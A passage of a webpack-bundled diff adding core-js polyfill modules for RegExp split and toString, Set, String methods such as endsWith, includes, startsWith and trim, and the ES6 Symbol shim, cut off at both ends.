__webpack_require__(/*! ./_regexp-exec-abstract */ "./node_modules/core-js/modules/_regexp-exec-abstract.js"); +var regexpExec = __webpack_require__(/*! ./_regexp-exec */ "./node_modules/core-js/modules/_regexp-exec.js"); +var fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var $min = Math.min; +var $push = [].push; +var $SPLIT = 'split'; +var LENGTH = 'length'; +var LAST_INDEX = 'lastIndex'; +var MAX_UINT32 = 0xffffffff; + +// babel-minify transpiles RegExp('x', 'y') -> /x/y and it causes SyntaxError +var SUPPORTS_Y = !fails(function () { RegExp(MAX_UINT32, 'y'); }); + +// @@split logic +__webpack_require__(/*! ./_fix-re-wks */ "./node_modules/core-js/modules/_fix-re-wks.js")('split', 2, function (defined, SPLIT, $split, maybeCallNative) { + var internalSplit; + if ( + 'abbc'[$SPLIT](/(b)*/)[1] == 'c' || + 'test'[$SPLIT](/(?:)/, -1)[LENGTH] != 4 || + 'ab'[$SPLIT](/(?:ab)*/)[LENGTH] != 2 || + '.'[$SPLIT](/(.?)(.?)/)[LENGTH] != 4 || + '.'[$SPLIT](/()()/)[LENGTH] > 1 || + ''[$SPLIT](/.?/)[LENGTH] + ) { + // based on es5-shim implementation, need to rework it + internalSplit = function (separator, limit) { + var string = String(this); + if (separator === undefined && limit === 0) return []; + // If `separator` is not a regex, use native split + if (!isRegExp(separator)) return $split.call(string, separator, limit); + var output = []; + var flags = (separator.ignoreCase ? 'i' : '') + + (separator.multiline ? 'm' : '') + + (separator.unicode ? 'u' : '') + + (separator.sticky ? 'y' : ''); + var lastLastIndex = 0; + var splitLimit = limit === undefined ? MAX_UINT32 : limit >>> 0; + // Make `global` and avoid `lastIndex` issues by working with a copy + var separatorCopy = new RegExp(separator.source, flags + 'g'); + var match, lastIndex, lastLength; + while (match = regexpExec.call(separatorCopy, string)) { + lastIndex = separatorCopy[LAST_INDEX]; + if (lastIndex > lastLastIndex) { + output.push(string.slice(lastLastIndex, match.index)); + if (match[LENGTH] > 1 && match.index < string[LENGTH]) $push.apply(output, match.slice(1)); + lastLength = match[0][LENGTH]; + lastLastIndex = lastIndex; + if (output[LENGTH] >= splitLimit) break; + } + if (separatorCopy[LAST_INDEX] === match.index) separatorCopy[LAST_INDEX]++; // Avoid an infinite loop + } + if (lastLastIndex === string[LENGTH]) { + if (lastLength || !separatorCopy.test('')) output.push(''); + } else output.push(string.slice(lastLastIndex)); + return output[LENGTH] > splitLimit ? output.slice(0, splitLimit) : output; + }; + // Chakra, V8 + } else if ('0'[$SPLIT](undefined, 0)[LENGTH]) { + internalSplit = function (separator, limit) { + return separator === undefined && limit === 0 ? [] : $split.call(this, separator, limit); + }; + } else { + internalSplit = $split; + } + + return [ + // `String.prototype.split` method + // https://tc39.github.io/ecma262/#sec-string.prototype.split + function split(separator, limit) { + var O = defined(this); + var splitter = separator == undefined ? undefined : separator[SPLIT]; + return splitter !== undefined + ? splitter.call(separator, O, limit) + : internalSplit.call(String(O), separator, limit); + }, + // `RegExp.prototype[@@split]` method + // https://tc39.github.io/ecma262/#sec-regexp.prototype-@@split + // + // NOTE: This cannot be properly polyfilled in engines that don't support + // the 'y' flag. + function (regexp, limit) { + var res = maybeCallNative(internalSplit, regexp, this, limit, internalSplit !== $split); + if (res.done) return res.value; + + var rx = anObject(regexp); + var S = String(this); + var C = speciesConstructor(rx, RegExp); + + var unicodeMatching = rx.unicode; + var flags = (rx.ignoreCase ? 'i' : '') + + (rx.multiline ? 'm' : '') + + (rx.unicode ? 'u' : '') + + (SUPPORTS_Y ? 'y' : 'g'); + + // ^(? + rx + ) is needed, in combination with some S slicing, to + // simulate the 'y' flag. + var splitter = new C(SUPPORTS_Y ? rx : '^(?:' + rx.source + ')', flags); + var lim = limit === undefined ? MAX_UINT32 : limit >>> 0; + if (lim === 0) return []; + if (S.length === 0) return callRegExpExec(splitter, S) === null ? [S] : []; + var p = 0; + var q = 0; + var A = []; + while (q < S.length) { + splitter.lastIndex = SUPPORTS_Y ? q : 0; + var z = callRegExpExec(splitter, SUPPORTS_Y ? S : S.slice(q)); + var e; + if ( + z === null || + (e = $min(toLength(splitter.lastIndex + (SUPPORTS_Y ? 0 : q)), S.length)) === p + ) { + q = advanceStringIndex(S, q, unicodeMatching); + } else { + A.push(S.slice(p, q)); + if (A.length === lim) return A; + for (var i = 1; i <= z.length - 1; i++) { + A.push(z[i]); + if (A.length === lim) return A; + } + q = p = e; + } + } + A.push(S.slice(p)); + return A; + } + ]; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.regexp.to-string.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.regexp.to-string.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +__webpack_require__(/*! ./es6.regexp.flags */ "./node_modules/core-js/modules/es6.regexp.flags.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var $flags = __webpack_require__(/*! ./_flags */ "./node_modules/core-js/modules/_flags.js"); +var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"); +var TO_STRING = 'toString'; +var $toString = /./[TO_STRING]; + +var define = function (fn) { + __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js")(RegExp.prototype, TO_STRING, fn, true); +}; + +// 21.2.5.14 RegExp.prototype.toString() +if (__webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js")(function () { return $toString.call({ source: 'a', flags: 'b' }) != '/a/b'; })) { + define(function toString() { + var R = anObject(this); + return '/'.concat(R.source, '/', + 'flags' in R ? R.flags : !DESCRIPTORS && R instanceof RegExp ? $flags.call(R) : undefined); + }); +// FF44- RegExp#toString has a wrong name +} else if ($toString.name != TO_STRING) { + define(function toString() { + return $toString.call(this); + }); +} + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.set.js": +/*!*************************************************!*\ + !*** ./node_modules/core-js/modules/es6.set.js ***! + \*************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var strong = __webpack_require__(/*! ./_collection-strong */ "./node_modules/core-js/modules/_collection-strong.js"); +var validate = __webpack_require__(/*! ./_validate-collection */ "./node_modules/core-js/modules/_validate-collection.js"); +var SET = 'Set'; + +// 23.2 Set Objects +module.exports = __webpack_require__(/*! ./_collection */ "./node_modules/core-js/modules/_collection.js")(SET, function (get) { + return function Set() { return get(this, arguments.length > 0 ? arguments[0] : undefined); }; +}, { + // 23.2.3.1 Set.prototype.add(value) + add: function add(value) { + return strong.def(validate(this, SET), value = value === 0 ? 0 : value, value); + } +}, strong); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.anchor.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.anchor.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.2 String.prototype.anchor(name) +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('anchor', function (createHTML) { + return function anchor(name) { + return createHTML(this, 'a', 'name', name); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.big.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.big.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.3 String.prototype.big() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('big', function (createHTML) { + return function big() { + return createHTML(this, 'big', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.blink.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.blink.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.4 String.prototype.blink() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('blink', function (createHTML) { + return function blink() { + return createHTML(this, 'blink', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.bold.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.bold.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.5 String.prototype.bold() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('bold', function (createHTML) { + return function bold() { + return createHTML(this, 'b', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.code-point-at.js": +/*!******************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.code-point-at.js ***! + \******************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var $at = __webpack_require__(/*! ./_string-at */ "./node_modules/core-js/modules/_string-at.js")(false); +$export($export.P, 'String', { + // 21.1.3.3 String.prototype.codePointAt(pos) + codePointAt: function codePointAt(pos) { + return $at(this, pos); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.ends-with.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.ends-with.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +// 21.1.3.6 String.prototype.endsWith(searchString [, endPosition]) + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var context = __webpack_require__(/*! ./_string-context */ "./node_modules/core-js/modules/_string-context.js"); +var ENDS_WITH = 'endsWith'; +var $endsWith = ''[ENDS_WITH]; + +$export($export.P + $export.F * __webpack_require__(/*! ./_fails-is-regexp */ "./node_modules/core-js/modules/_fails-is-regexp.js")(ENDS_WITH), 'String', { + endsWith: function endsWith(searchString /* , endPosition = @length */) { + var that = context(this, searchString, ENDS_WITH); + var endPosition = arguments.length > 1 ? arguments[1] : undefined; + var len = toLength(that.length); + var end = endPosition === undefined ? len : Math.min(toLength(endPosition), len); + var search = String(searchString); + return $endsWith + ? $endsWith.call(that, search, end) + : that.slice(end - search.length, end) === search; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.fixed.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.fixed.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.6 String.prototype.fixed() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('fixed', function (createHTML) { + return function fixed() { + return createHTML(this, 'tt', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.fontcolor.js": +/*!**************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.fontcolor.js ***! + \**************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.7 String.prototype.fontcolor(color) +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('fontcolor', function (createHTML) { + return function fontcolor(color) { + return createHTML(this, 'font', 'color', color); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.fontsize.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.fontsize.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.8 String.prototype.fontsize(size) +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('fontsize', function (createHTML) { + return function fontsize(size) { + return createHTML(this, 'font', 'size', size); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.from-code-point.js": +/*!********************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.from-code-point.js ***! + \********************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toAbsoluteIndex = __webpack_require__(/*! ./_to-absolute-index */ "./node_modules/core-js/modules/_to-absolute-index.js"); +var fromCharCode = String.fromCharCode; +var $fromCodePoint = String.fromCodePoint; + +// length should be 1, old FF problem +$export($export.S + $export.F * (!!$fromCodePoint && $fromCodePoint.length != 1), 'String', { + // 21.1.2.2 String.fromCodePoint(...codePoints) + fromCodePoint: function fromCodePoint(x) { // eslint-disable-line no-unused-vars + var res = []; + var aLen = arguments.length; + var i = 0; + var code; + while (aLen > i) { + code = +arguments[i++]; + if (toAbsoluteIndex(code, 0x10ffff) !== code) throw RangeError(code + ' is not a valid code point'); + res.push(code < 0x10000 + ? fromCharCode(code) + : fromCharCode(((code -= 0x10000) >> 10) + 0xd800, code % 0x400 + 0xdc00) + ); + } return res.join(''); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.includes.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.includes.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +// 21.1.3.7 String.prototype.includes(searchString, position = 0) + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var context = __webpack_require__(/*! ./_string-context */ "./node_modules/core-js/modules/_string-context.js"); +var INCLUDES = 'includes'; + +$export($export.P + $export.F * __webpack_require__(/*! ./_fails-is-regexp */ "./node_modules/core-js/modules/_fails-is-regexp.js")(INCLUDES), 'String', { + includes: function includes(searchString /* , position = 0 */) { + return !!~context(this, searchString, INCLUDES) + .indexOf(searchString, arguments.length > 1 ? arguments[1] : undefined); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.italics.js": +/*!************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.italics.js ***! + \************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.9 String.prototype.italics() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('italics', function (createHTML) { + return function italics() { + return createHTML(this, 'i', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.iterator.js": +/*!*************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.iterator.js ***! + \*************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +var $at = __webpack_require__(/*! ./_string-at */ "./node_modules/core-js/modules/_string-at.js")(true); + +// 21.1.3.27 String.prototype[@@iterator]() +__webpack_require__(/*! ./_iter-define */ "./node_modules/core-js/modules/_iter-define.js")(String, 'String', function (iterated) { + this._t = String(iterated); // target + this._i = 0; // next index +// 21.1.5.2.1 %StringIteratorPrototype%.next() +}, function () { + var O = this._t; + var index = this._i; + var point; + if (index >= O.length) return { value: undefined, done: true }; + point = $at(O, index); + this._i += point.length; + return { value: point, done: false }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.link.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.link.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.10 String.prototype.link(url) +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('link', function (createHTML) { + return function link(url) { + return createHTML(this, 'a', 'href', url); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.raw.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.raw.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); + +$export($export.S, 'String', { + // 21.1.2.4 String.raw(callSite, ...substitutions) + raw: function raw(callSite) { + var tpl = toIObject(callSite.raw); + var len = toLength(tpl.length); + var aLen = arguments.length; + var res = []; + var i = 0; + while (len > i) { + res.push(String(tpl[i++])); + if (i < aLen) res.push(String(arguments[i])); + } return res.join(''); + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.repeat.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.repeat.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); + +$export($export.P, 'String', { + // 21.1.3.13 String.prototype.repeat(count) + repeat: __webpack_require__(/*! ./_string-repeat */ "./node_modules/core-js/modules/_string-repeat.js") +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.small.js": +/*!**********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.small.js ***! + \**********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.11 String.prototype.small() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('small', function (createHTML) { + return function small() { + return createHTML(this, 'small', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.starts-with.js": +/*!****************************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.starts-with.js ***! + \****************************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; +// 21.1.3.18 String.prototype.startsWith(searchString [, position ]) + +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var toLength = __webpack_require__(/*! ./_to-length */ "./node_modules/core-js/modules/_to-length.js"); +var context = __webpack_require__(/*! ./_string-context */ "./node_modules/core-js/modules/_string-context.js"); +var STARTS_WITH = 'startsWith'; +var $startsWith = ''[STARTS_WITH]; + +$export($export.P + $export.F * __webpack_require__(/*! ./_fails-is-regexp */ "./node_modules/core-js/modules/_fails-is-regexp.js")(STARTS_WITH), 'String', { + startsWith: function startsWith(searchString /* , position = 0 */) { + var that = context(this, searchString, STARTS_WITH); + var index = toLength(Math.min(arguments.length > 1 ? arguments[1] : undefined, that.length)); + var search = String(searchString); + return $startsWith + ? $startsWith.call(that, search, index) + : that.slice(index, index + search.length) === search; + } +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.strike.js": +/*!***********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.strike.js ***! + \***********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.12 String.prototype.strike() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('strike', function (createHTML) { + return function strike() { + return createHTML(this, 'strike', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.sub.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.sub.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.13 String.prototype.sub() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('sub', function (createHTML) { + return function sub() { + return createHTML(this, 'sub', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.sup.js": +/*!********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.sup.js ***! + \********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// B.2.3.14 String.prototype.sup() +__webpack_require__(/*! ./_string-html */ "./node_modules/core-js/modules/_string-html.js")('sup', function (createHTML) { + return function sup() { + return createHTML(this, 'sup', '', ''); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.string.trim.js": +/*!*********************************************************!*\ + !*** ./node_modules/core-js/modules/es6.string.trim.js ***! + \*********************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// 21.1.3.25 String.prototype.trim() +__webpack_require__(/*! ./_string-trim */ "./node_modules/core-js/modules/_string-trim.js")('trim', function ($trim) { + return function trim() { + return $trim(this, 3); + }; +}); + + +/***/ }), + +/***/ "./node_modules/core-js/modules/es6.symbol.js": +/*!****************************************************!*\ + !*** ./node_modules/core-js/modules/es6.symbol.js ***! + \****************************************************/ +/*! no static exports found */ +/***/ (function(module, exports, __webpack_require__) { + +"use strict"; + +// ECMAScript 6 symbols shim +var global = __webpack_require__(/*! ./_global */ "./node_modules/core-js/modules/_global.js"); +var has = __webpack_require__(/*! ./_has */ "./node_modules/core-js/modules/_has.js"); +var DESCRIPTORS = __webpack_require__(/*! ./_descriptors */ "./node_modules/core-js/modules/_descriptors.js"); +var $export = __webpack_require__(/*! ./_export */ "./node_modules/core-js/modules/_export.js"); +var redefine = __webpack_require__(/*! ./_redefine */ "./node_modules/core-js/modules/_redefine.js"); +var META = __webpack_require__(/*! ./_meta */ "./node_modules/core-js/modules/_meta.js").KEY; +var $fails = __webpack_require__(/*! ./_fails */ "./node_modules/core-js/modules/_fails.js"); +var shared = __webpack_require__(/*! ./_shared */ "./node_modules/core-js/modules/_shared.js"); +var setToStringTag = __webpack_require__(/*! ./_set-to-string-tag */ "./node_modules/core-js/modules/_set-to-string-tag.js"); +var uid = __webpack_require__(/*! ./_uid */ "./node_modules/core-js/modules/_uid.js"); +var wks = __webpack_require__(/*! ./_wks */ "./node_modules/core-js/modules/_wks.js"); +var wksExt = __webpack_require__(/*! ./_wks-ext */ "./node_modules/core-js/modules/_wks-ext.js"); +var wksDefine = __webpack_require__(/*! ./_wks-define */ "./node_modules/core-js/modules/_wks-define.js"); +var enumKeys = __webpack_require__(/*! ./_enum-keys */ "./node_modules/core-js/modules/_enum-keys.js"); +var isArray = __webpack_require__(/*! ./_is-array */ "./node_modules/core-js/modules/_is-array.js"); +var anObject = __webpack_require__(/*! ./_an-object */ "./node_modules/core-js/modules/_an-object.js"); +var isObject = __webpack_require__(/*! ./_is-object */ "./node_modules/core-js/modules/_is-object.js"); +var toObject = __webpack_require__(/*! ./_to-object */ "./node_modules/core-js/modules/_to-object.js"); +var toIObject = __webpack_require__(/*! ./_to-iobject */ "./node_modules/core-js/modules/_to-iobject.js"); +var toPrimitive = __webpack_require__(/*! ./_to-primitive */ "./node_modules/core-js/modules/_to-primitive.js"); +var createDesc = __webpack_require__(/*! ./_property-desc */ "./node_modules/core-js/modules/_property-desc.js"); +var _create = __webpack_require__(/*! ./_object-create */ "./node_modules/core-js/modules/_object-create.js"); +var gOPNExt = __webpack_require__(/*! ./_object-gopn-ext */ "./node_modules/core-js/modules/_object-gopn-ext.js"); +var $GOPD = __webpack_require__(/*! ./_object-gopd */ "./node_modules/core-js/modules/_object-gopd.js"); +var $GOPS = __webpack_require__(/*! ./_object-gops */ "./node_modules/core-js/modules/_object-gops.js"); +var $DP = __webpack_require__(/*! ./_object-dp */ "./node_modules/core-js/modules/_object-dp.js"); +var $keys = __webpack_require__(/*! ./_object-keys */ "./node_modules/core-js/modules/_object-keys.js"); +var gOPD = $GOPD.f; +var dP = $DP.f; +var gOPN = gOPNExt.f; +var $Symbol = global.Symbol; +var $JSON = global.JSON; +var _stringify = $JSON && $JSON.stringify; +var PROTOTYPE = 'prototype'; +var HIDDEN = wks('_hidden'); +var TO_PRIMITIVE = wks('toPrimitive'); +var isEnum = {}.propertyIsEnumerable; +var SymbolRegistry = shared('symbol-registry'); +var AllSymbols = shared('symbols'); +var OPSymbols = shared('op-symbols'); +var ObjectProto = Object[PROTOTYPE]; +var USE_NATIVE = typeof $Symbol == 'function' && !!$GOPS.f; +var QObject = global.QObject; +// Don't use setters in Qt Script, https://github.com/zloirock/core-js/issues/173 +var setter = !QObject || !QObject[PROTOTYPE] || !QObject[PROTOTYPE].findChild; + +// fallback for old Android, https://code.google.com/p/v8/issues/detail?id=687 +var setSymbolDesc = DESCRIPTORS && $fails(function () { + return _create(dP({}, 'a', { + get: function () { return dP(this, 'a', { value: 7 }).a; } + })).a != 7; +}) ? function (it, key, D) { + var protoDesc = gOPD(ObjectProto, key); + if (protoDesc) delete ObjectProto[key]; + dP(it, key, D); + if (protoDesc && it !== ObjectProto) dP(ObjectProto, key, protoDesc); +} : dP; + +var wrap = function (tag) { + var sym = AllSymbols[tag] = _create($Symbol[PROTOTYPE]); + sym._k = tag; + return sym; +}; + +var isSymbol = USE_NATIVE && typeof $Symbol.iterator == 'symbol' ? function (it) { + return typeof it == 'symbol'; +} : function (it) { + return it instanceof $Symbol; +}; + +var $defineProperty = function defineProperty(it, key, D) { + if (it === ObjectProto) $defineProperty(OPSymbols, key, D); + anObject(it); + key = toPrimitive(key, true); + anObject(D); + if (has(AllSymbols, key)) { + if (!D.enumerable) { + if (!has(it, HIDDEN)) dP(it, HIDDEN, createDesc(1, {})); + it[HIDDEN][key] = true; + } else { + if (has(it, HIDDEN) && it[HIDDEN][key]) it[HIDDEN][key] = false; + D = _create(D, { enumerable: createDesc(0, false) }); + } return setSymbolDesc(it, key, D); + } return dP(it, key, D); +}; +var $defineProperties = function defineProperties(it, P) { + anObject(it); + var keys = enumKeys(P = toIObject(P)); + var i = 0; + var l = keys.length; + var key; + while (l > i) $defineProperty(it, key = keys[i++], P[key]); + return it; +}; +var $create = function create(it, P) { + return P === undefined ? _create(it) : $defineProperties(_create(it), P); +}; +var $propertyIsEnumerable = function propertyIsEnumerable(key) { + var E = isEnum.call(this, key = toPrimitive(key, true)); + if (this === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key)) return false; + return E || !has(this, key) || !has(AllSymbols, key) || has(this, HIDDEN) && this[HIDDEN][key] ? E : true; +}; +var $getOwnPropertyDescriptor = function getOwnPropertyDescriptor(it, key) { + it = toIObject(it); + key = toPrimitive(key, true); + if (it === ObjectProto && has(AllSymbols, key) && !has(OPSymbols, key)) return; + var D = gOPD(it, key); + if (D && has(AllSymbols, key) && !(has(it, HIDDEN) && it[HIDDEN][key])) D.enumerable = true; + return D; +}; +var $getOwnPropertyNames = function getOwnPropertyNames(it) { + var names = gOPN(toIObject(it)); + var result = []; + var i = 0; + var key; + while (names.length > i) { + if (!has(AllSymbols, key = names[i++]) && key != HIDDEN && key != META) result.push(key); + } return result; +}; +var $getOwnPropertySymbols = function getOwnPropertySymbols(it) { + var IS_OP = it === ObjectProto; + var names = gOPN(IS_OP ? OPSymbols : toIObject(it)); + var result = []; + var i = 0; + var key; + while (names.length > i) { + if (has(AllSymbols, key = names[i++]) && (IS_OP ? has(ObjectProto, key) : true)) result.push(AllSymbols[key]); + } return result; +}; + +// 19.4.1.1 Symbol([description]) +if (!USE_NATIVE) { + $Symbol = function Symbol() { + if (this instanceof $Symbol) throw TypeError('Symbol is not a constructor!'); + var tag = uid(arguments.length > 0 ? arguments[0] : undefined); + var $set = function (value) { + if (this === ObjectProto) $set.call(OPSymbols, value); + if (has(this, HIDDEN) && has(this[HIDDEN], tag)) this[HIDDEN][tag] = false; + setSymbolDesc(this, tag, createDesc(1, value)); + }; + if (DESCRIPTORS && setter) setSymbolDesc(ObjectProto, tag, { configurable: true, set: $set }); + return wrap(tag); + }; + redefine($Symbol[PROTOTYPE], 'toString', function toString() { + return this._k; + }); + + $GOPD.f = $getOwnPropertyDescriptor; + $DP.f = $defineProperty; + __webpack_require__(/*! ./_object-gopn */ "./node_modules/core-js/modules/_object-gopn.js").f = gOPNExt.f = $getOwnPropertyNames; + __webpack_require__(/*! ./_object-pie */ "./node_modules/core-js/modules/_object-pie.js").f = $propertyIsEnumerable; + $GOPS.f = $getOwnPropertySymbols; + + if (DESCRIPTORS && !__webpack_require__(/*! ./_library */ "./node_modules/core-js/modules/_library.js")) { + redefine(ObjectProto, 'propertyIsEnumerable', $propertyIsEnumerable, true); + } + + wksExt.f = function (name) { + return wrap(wks(name)); + }; +} + +$export($export.G + $export.W + $export.F * !USE_NATIVE, { Symbol: $Symbol }); + +for (var es6Symbols = ( + // 19.4.2.2, 19.4.2.3, 19.4.2.4, 19.4.2.6, 19.4.2.8, 19.4.2.9, 19.4.2.10, 19.4.2.11, 19.4.2.12, 19.4.2.13, 19.4.2.14 + 'hasInstance,isConcatSpreadable,iterator,match,replace,search,species,split,toPrimitive,toStringTag,unscopables' +).split(','), j = 0; es6Symbols.length > j;)wks(es6Symbols[j++]); + +for (var wellKnownSymbols = $keys(wks.store), k = 0; wellKnownSymbols.length > k;) wksDefine(wellKnownSymbols[k++]); + +$export($export.S + $export.F * !USE_NATIVE, 'Symbol', { + // 19.4.2.1 Symbol.for(key) + 'for': function (key) { + return has(SymbolRegistry, key += '') + ? SymbolRegistry[key] + : SymbolRegistry[key] = $Symbol(key); + }, + // 19.4.2.5 Symbol.keyFor(sym) + keyFor: function keyFor(sym) { + if (!isSymbol(sym)) throw TypeError(sym + ' is not a symbol!'); + for (var key in SymbolRegistry) if (SymbolRegistry[key] === sym) return key; + }, + useSetter: function () { setter = true; }, + useSimple: function () { setter = false; } +}); + +$export($export.S + $export.F * !USE_NATIVE, 'Object', { + // 19.1.2.2 Object.create(O [, Properties]) + create: $create, + // 19.1.2.4 Object.defineProperty(O, P, Attributes) + defineProperty: $defineProperty, + // 19.1.2.3 Object.defineProperties(O, Properties) + defineProperties: $defineProperties, + // 19.1.2.6 Object.getOwnPropertyDescriptor(O, P) + getOwnPropertyDescriptor: $getOwnPropertyDescriptor, + // 